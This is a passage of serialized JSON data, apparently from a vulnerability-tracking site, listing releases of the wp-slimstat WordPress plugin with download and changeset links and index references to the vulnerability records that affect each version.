10,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4538,"download_url":4539,"svn_tag_url":4540,"released_at":39,"has_diff":54,"diff_files_changed":4541,"diff_lines":39,"trac_diff_url":4542,"vulnerabilities":4543,"is_current":54},"4.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.7&new_path=%2Fwp-slimstat%2Ftags%2F4.1.8",[4544,4545,4546,4547,4548,4549,4550,4551,4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4565,"download_url":4566,"svn_tag_url":4567,"released_at":39,"has_diff":54,"diff_files_changed":4568,"diff_lines":39,"trac_diff_url":4569,"vulnerabilities":4570,"is_current":54},"4.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.6.3&new_path=%2Fwp-slimstat%2Ftags%2F4.1.7",[4571,4572,4573,4574,4575,4576,4577,4578,4579,4580,4581,4582,4583,4584,4585,4586,4587,4588,4589,4590],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4592,"download_url":4593,"svn_tag_url":4594,"released_at":39,"has_diff":54,"diff_files_changed":4595,"diff_lines":39,"trac_diff_url":4596,"vulnerabilities":4597,"is_current":54},"4.1.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.6.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.6.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.6.2&new_path=%2Fwp-slimstat%2Ftags%2F4.1.6.3",[4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611,4612,4613,4614,4615,4616,4617],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4619,"download_url":4620,"svn_tag_url":4621,"released_at":39,"has_diff":54,"diff_files_changed":4622,"diff_lines":39,"trac_diff_url":4623,"vulnerabilities":4624,"is_current":54},"4.1.6.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.6.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.6.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.6.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.6.2",[4625,4626,4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642,4643,4644],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":343,"download_url":4646,"svn_tag_url":4647,"released_at":39,"has_diff":54,"diff_files_changed":4648,"diff_lines":39,"trac_diff_url":4649,"vulnerabilities":4650,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.6&new_path=%2Fwp-slimstat%2Ftags%2F4.1.6.1",[4651,4652,4653,4654,4655,4656,4657,4658,4659,4660,4661,4662,4663,4664,4665,4666,4667,4668,4669,4670],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4672,"download_url":4673,"svn_tag_url":4674,"released_at":39,"has_diff":54,"diff_files_changed":4675,"diff_lines":39,"trac_diff_url":4676,"vulnerabilities":4677,"is_current":54},"4.1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.5.2&new_path=%2Fwp-slimstat%2Ftags%2F4.1.6",[4678,4679,4680,4681,4682,4683,4684,4685,4686,4687,4688,4689,4690,4691,4692,4693,4694,4695,4696,4697,4698],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4700,"download_url":4701,"svn_tag_url":4702,"released_at":39,"has_diff":54,"diff_files_changed":4703,"diff_lines":39,"trac_diff_url":4704,"vulnerabilities":4705,"is_current":54},"4.1.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.5.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.5.2",[4706,4707,4708,4709,4710,4711,4712,4713,4714,4715,4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4728,"download_url":4729,"svn_tag_url":4730,"released_at":39,"has_diff":54,"diff_files_changed":4731,"diff_lines":39,"trac_diff_url":4732,"vulnerabilities":4733,"is_current":54},"4.1.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.5&new_path=%2Fwp-slimstat%2Ftags%2F4.1.5.1",[4734,4735,4736,4737,4738,4739,4740,4741,4742,4743,4744,4745,4746,4747,4748,4749,4750,4751,4752,4753,4754],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4756,"download_url":4757,"svn_tag_url":4758,"released_at":39,"has_diff":54,"diff_files_changed":4759,"diff_lines":39,"trac_diff_url":4760,"vulnerabilities":4761,"is_current":54},"4.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.4.1&new_path=%2Fwp-slimstat%2Ftags%2F4.1.5",[4762,4763,4764,4765,4766,4767,4768,4769,4770,4771,4772,4773,4774,4775,4776,4777,4778,4779,4780,4781,4782],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4784,"download_url":4785,"svn_tag_url":4786,"released_at":39,"has_diff":54,"diff_files_changed":4787,"diff_lines":39,"trac_diff_url":4788,"vulnerabilities":4789,"is_current":54},"4.1.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.4&new_path=%2Fwp-slimstat%2Ftags%2F4.1.4.1",[4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803,4804,4805,4806,4807,4808,4809,4810],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"